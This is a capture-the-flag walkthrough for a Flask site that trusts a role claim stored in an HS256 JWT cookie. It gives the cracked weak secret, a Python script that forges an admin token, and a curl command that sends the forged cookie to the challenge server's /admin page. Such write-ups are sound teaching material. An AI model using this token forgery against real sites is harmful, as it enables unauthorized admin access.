Web Center
Web Center
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: jwt_secret_bruteforce, jwt_token_forgery, role_escalation
Summary
Walkthrough of the CUSTOM Web Web Center. Task: a Flask/Werkzeug site used an HS256 JWT in a cookie for authentication and stored the user's role directly inside the token. Solution: recover the weak signing secret, forge an admin token, and
Description
Original task name: «Веб-центр»
Target: http://62.173.140.174:16110
The application was a small Flask/Werkzeug site with a login form at /login. It only asked for a username, then issued a JWT in the session_token cookie and used that token for authorization.
Analysis
Initial recon
Requesting / showed a Flask application with Werkzeug headers:
http read-only • copy allowedServer: Werkzeug/3.1.5 Python/3.11.6
The login page at /login did not require a password. Submitting username=guest returned a 302 response and set a cookie named session_token.
Example token:
text read-only • copy allowedeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzUyNTYxMjl9.mDTs8xPThF87Ai8Z53k7xP-MS3geyhAL0hogz3mid_c
Decoding the token revealed:
alg = HS256username = guestrole = userexp = <timestamp>
That immediately suggested the usual JWT attack path: if the server trusted the role claim and the HS256 secret was weak, a forged admin token would be enough to reach privileged functionality.
Core issue
The application trusted a client-supplied JWT cookie for authorization and stored the role directly inside the payload. Because validation used a weak HS256 secret, the token could be signed by an attacker after recovering the secret.
The discovered secret was:
text read-only • copy allowedhunter
With that secret, it was possible to generate a valid token for:
json read-only • copy allowed{"username":"admin","role":"admin","exp":1775257936}
Exploitation Steps
1. Obtain a normal token
Log in as guest and capture the session_token cookie from the Set-Cookie header.
2. Decode and inspect the JWT
The token used HS256, so the same secret was used for both signing and verification. The payload already contained the authorization-relevant role claim, which meant privilege escalation would be possible if the secret could be guessed or brute-forced.
3. Forge an admin token
After recovering the secret hunter, create a new JWT with username=admin and role=admin, then sign it with HMAC-SHA256.
Working script:
python read-only • copy allowed#!/usr/bin/env python3 import base64 import hashlib import hmac import json import time def b64url(data: bytes) -> str: return base64.urlsafe_b64encode(data).decode().rstrip("=") header = {"alg": "HS256", "typ": "JWT"} payload = { "username": "admin", "role": "admin", "exp": int(time.time()) + 3600, } secret = b"hunter" header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode()) payload_b64 = b64url(json.dumps(payload, separators=(",", ":")).encode()) message = f"{header_b64}.{payload_b64}".encode() signature = b64url(hmac.new(secret, message, hashlib.sha256).digest()) token = f"{header_b64}.{payload_b64}.{signature}" print(token)
Successful forged token example:
text read-only • copy allowedeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc1MjU3OTM2fQ.M4y7wcHRh9IvLHVKMURxExqke35rsyLVeRtbUPrDy_I
4. Access the admin page
Send the forged token as the session_token cookie to /admin:
bash read-only • copy allowedcurl "http://62.173.140.174:16110/admin" \ -H 'Cookie: session_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc1MjU3OTM2fQ.M4y7wcHRh9IvLHVKMURxExqke35rsyLVeRtbUPrDy_I'
The response contained the admin panel and the flag:
text read-only • copy allowedАдмин-панель Флаг: CODEBY{REDACTED}
Why It Worked
This challenge combined two weak design decisions:
- Authorization trusted claims stored in a client-side JWT.
- The HS256 signing key was weak enough to recover.
Once the secret was known, privilege escalation became trivial because the server accepted any correctly signed payload, including one with role: admin.
Key Takeaways / Lessons
- Mastering jwt_secret_bruteforce, jwt_token_forgery, role_escalation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-04 • CUSTOM • Web Center • Difficulty: Easy